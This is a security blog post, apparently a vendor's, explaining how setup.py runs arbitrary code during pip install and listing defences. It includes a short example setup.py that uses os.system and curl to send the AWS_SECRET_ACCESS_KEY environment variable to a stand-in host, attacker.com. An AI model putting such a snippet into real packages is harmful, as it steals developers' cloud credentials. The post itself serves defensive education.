Every time you run pip install, you might be executing arbitrary code on your machine. Not the code in the package you are installing -- that happens when you import it. The code that runs during installation, before you ever write a single import statement.
Python packages distributed as source distributions (sdist, .tar.gz) can include a setup.py file that runs during installation. This file is a full Python script with no restrictions. It can download files, read your environment variables, modify your filesystem, or open network connections. And it runs automatically when you type pip install.
How setup.py Code Execution Works
When pip installs a source distribution, it needs to build the package. The traditional build process runs python setup.py install or python setup.py bdist_wheel, which executes the setup.py script.
The setup.py file typically contains calls to setuptools.setup() with package metadata and dependencies. But it can contain anything Python can execute. Malicious packages exploit this by adding code that runs before or alongside the setup() call:
import os
os.system('curl attacker.com/steal?data=' + os.environ.get('AWS_SECRET_ACCESS_KEY', ''))
from setuptools import setup
setup(name='legitimate-looking-package', ...)
When a developer runs pip install legitimate-looking-package, the os.system() call executes first, exfiltrating credentials to the attacker.
The Scale of the Problem
PyPI sees hundreds of malicious package uploads per month. The majority use setup.py code execution as their primary attack vector. Common patterns include:
Credential theft. Reading environment variables (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, etc.) and sending them to attacker-controlled servers.
Reverse shells. Opening a connection back to the attacker, giving them interactive access to the developer machine.
Cryptocurrency miners. Installing and starting mining software in the background.
Persistence mechanisms. Modifying shell profiles (.bashrc, .zshrc) to maintain access after the package is uninstalled.
Modern Build Systems: The PEP 517/518 Solution
PEP 517 and PEP 518 introduced a standardized build system interface (pyproject.toml) that separates build configuration from arbitrary code execution. Instead of running setup.py directly, pip invokes the build backend specified in pyproject.toml.
However, this does not eliminate code execution during installation. The build backend itself runs arbitrary code (it needs to compile C extensions, for example). And setup.py is still supported as a fallback for packages that have not migrated to pyproject.toml.
Wheels: The Safer Alternative
Wheel files (.whl) are pre-built binary packages that do not require build-time code execution. When pip installs a wheel, it simply extracts files to the correct locations. No setup.py is executed, no build backend is invoked.
For packages that provide wheels, pip install is safe from build-time code execution (though the installed code can still be malicious when imported).
The problem is that not all packages provide wheels, and pip falls back to source distributions when wheels are unavailable. Attackers can publish malicious packages as source distributions only, ensuring that setup.py execution occurs.
Defensive Measures
Prefer wheels. Use --only-binary :all: to force pip to install only wheel packages. This eliminates setup.py execution entirely. If a package does not provide a wheel, the installation fails rather than falling back to source distribution.
Use --dry-run for new packages. Before installing a new dependency, use pip install --dry-run to see what would be installed without actually executing any code.
Review setup.py before installing. For new dependencies, download the source distribution and review setup.py before installation. Look for network calls, os.system invocations, and obfuscated code.
Use virtual environments. Always install packages in virtual environments, never in the system Python. This limits the blast radius of malicious installation code to the virtual environment.
Run installations in sandboxed environments. Use Docker containers or VMs for package installation, especially when evaluating new dependencies. This prevents malicious setup.py code from accessing your credentials or filesystem.
Use a private index with pre-scanning. Route pip installations through a private package index that scans packages for malicious code before making them available.
How Safeguard.sh Helps
Safeguard.sh monitors PyPI for malicious packages and alerts you before they can be installed in your environment. Our platform scans package installation hooks for suspicious patterns, tracks known malicious packages, and generates SBOMs that document your Python supply chain. When a dependency you use is flagged as malicious or compromised, Safeguard.sh notifies you immediately so you can take action.